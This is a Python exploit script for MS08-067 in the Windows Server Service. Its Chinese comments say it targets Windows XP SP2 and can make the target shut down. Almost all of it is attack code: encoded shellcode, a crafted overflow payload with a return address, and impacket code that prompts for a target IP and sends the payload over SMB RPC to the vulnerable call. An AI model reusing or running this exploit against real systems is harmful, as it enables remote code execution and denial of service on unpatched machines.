MS Windows Server Service - Code Execution Exploit (MS08-067)

                                                #!/usr/bin/env python

##Ms08_067 exploit by Oopohh
#这个exploit的payload我只写了windows xp sp2版本的,其他像是2000 ,2003 ,xp sp3
#的版本只能触发程序崩溃．另外这个远程exploit可以执行关机命令．
#需要安装python库impacket

from impacket.dcerpc import transport,dcerpc
from impacket import uuid

shellcode = ''
shellcode += "\xba\xda\x04\x59\x0a\xd9\xce\xd9\x74\x24\xf4\x5d\x31\xc9\xb1"
shellcode += "\x33\x31\x55\x14\x03\x55\x14\x83\xc5\x04\x38\xf1\xa5\xe2\x3e"
shellcode += "\xfa\x55\xf3\x5e\x72\xb0\xc2\x5e\xe0\xb0\x75\x6e\x62\x94\x79"
shellcode += "\x05\x26\x0d\x09\x6b\xef\x22\xba\xc1\xc9\x0d\x3b\x79\x29\x0f"
shellcode += "\xbf\x83\x7e\xef\xfe\x4c\x73\xee\xc7\xb0\x7e\xa2\x90\xbf\x2d"
shellcode += "\x53\x94\xf5\xed\xd8\xe6\x18\x76\x3c\xbe\x1b\x57\x93\xb4\x42"
shellcode += "\x77\x15\x18\xff\x3e\x0d\x7d\xc5\x89\xa6\xb5\xb2\x0b\x6f\x84"
shellcode += "\x3b\xa7\x4e\x28\xce\xb9\x97\x8f\x30\xcc\xe1\xf3\xcd\xd7\x35"
shellcode += "\x89\x09\x5d\xae\x29\xda\xc5\x0a\xcb\x0f\x93\xd9\xc7\xe4\xd7"
shellcode += "\x86\xcb\xfb\x34\xbd\xf0\x70\xbb\x12\x71\xc2\x98\xb6\xd9\x91"
shellcode += "\x81\xef\x87\x74\xbd\xf0\x67\x29\x1b\x7a\x85\x3e\x16\x21\xc0"
shellcode += "\xc1\xa4\x5f\xa6\xc1\xb6\x5f\x97\xa9\x87\xd4\x78\xae\x17\x3f"
shellcode += "\x3d\x40\x52\x62\x14\xc8\x3b\xf6\x24\x95\xbb\x2c\x6a\xa3\x3f"
shellcode += "\xc5\x13\x50\x5f\xac\x16\x1d\xe7\x5c\x6b\x0e\x82\x62\xd8\x2f"
shellcode += "\x87\x10\xb6\xba\x5c\xb3\x29\x33\xf3\x1b\x9b\xc8\x2b\x71\x97"
shellcode += "\x0e\x15\xb9\x57\x90"

payload_1='\x41\x00\x5c\x00\x2e\x00\x2e\x00\x5c\x00\x2e\x00\x2e\x00\x5c\x00'
payload_1+='\x41\x41\x41\x41\x41\x41\x41\x41'
payload_1+='\x41\x41\x41\x41\x41\x41\x41\x41'
payload_1+='\x41\x41'
payload_1+='\x93\x43\x93\x7c\x90\x90\x90\x90\x90\x90\x33\xc0\x90\x8b\xc4\x66'
payload_1+='\x05\xa4\x04\x90\x8b\x18\xff\xd3'
payload_1+='\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B'
payload_1+='\xE3\x66\xBB\x33\x32\x53\x68\x75'
payload_1+='\x73\x65\x72\x54\x33\xD2\x64\x8B'
payload_1+='\x5A\x30\x8B\x4B\x0C\x8B\x49\x1C'

payload_1+='\x00\x00'

payload='\x01\x00\x00\x00'
payload+='\x75\x00\x00\x00\x00\x00\x00\x00\x75\x00\x00\x00'
payload+=shellcode
payload+='\x00\x00\x00\x00'
payload+='\x00\x00\x2f\x00\x00\x00\x00\x00\x00\x00\x2f\x00\x00\x00'
payload+=payload_1
payload+='\x00\x00\x00\x00'
payload+='\x02\x00\x00\x00\x02\x00\x00\x00'
payload+='\x00\x00\x00\x00\x02\x00\x00\x00'
payload+='\x5c\x00\x00\x00\x01\x00\x00\x00'
payload+='\x01\x00\x00\x00'

target_ip = raw_input("Input target ip:")

stringbinding = "ncacn_np:%(host)s[\\pipe\\%(pipe)s]"
stringbinding %= {
'host': target_ip,
'pipe': 'browser',
'port': 445,
}
print "[*]Exploit!: %r" % stringbinding
trans = transport.DCERPCTransportFactory(stringbinding)
trans.connect()
dce = trans.DCERPC_class(trans)
dce.bind(uuid.uuidtup_to_bin(('4b324fc8-1670-01d3-1278-5a47bf6ee188','3.0')))
dce.call(0x1f,payload)